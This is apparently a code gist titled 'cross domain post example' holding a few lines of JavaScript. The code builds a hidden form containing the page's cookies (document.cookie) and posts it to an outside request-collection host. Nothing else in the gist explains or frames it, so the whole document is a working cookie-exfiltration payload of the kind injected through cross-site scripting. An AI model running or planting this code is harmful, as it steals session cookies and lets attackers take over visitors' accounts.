cross domain post example

gistfile1.js

var ifr = document.createElement('iframe');
var frm = document.createElement('form');
frm.setAttribute("action", "http://requestb.in/xxx");
frm.setAttribute("method", "post");

var inp = document.createElement('input');
inp.type = 'hidden';
inp.name = 'cookies';
inp.value = document.cookie;

frm.appendChild(inp);
ifr.appendChild(frm);
document.body.appendChild(ifr);

frm.submit();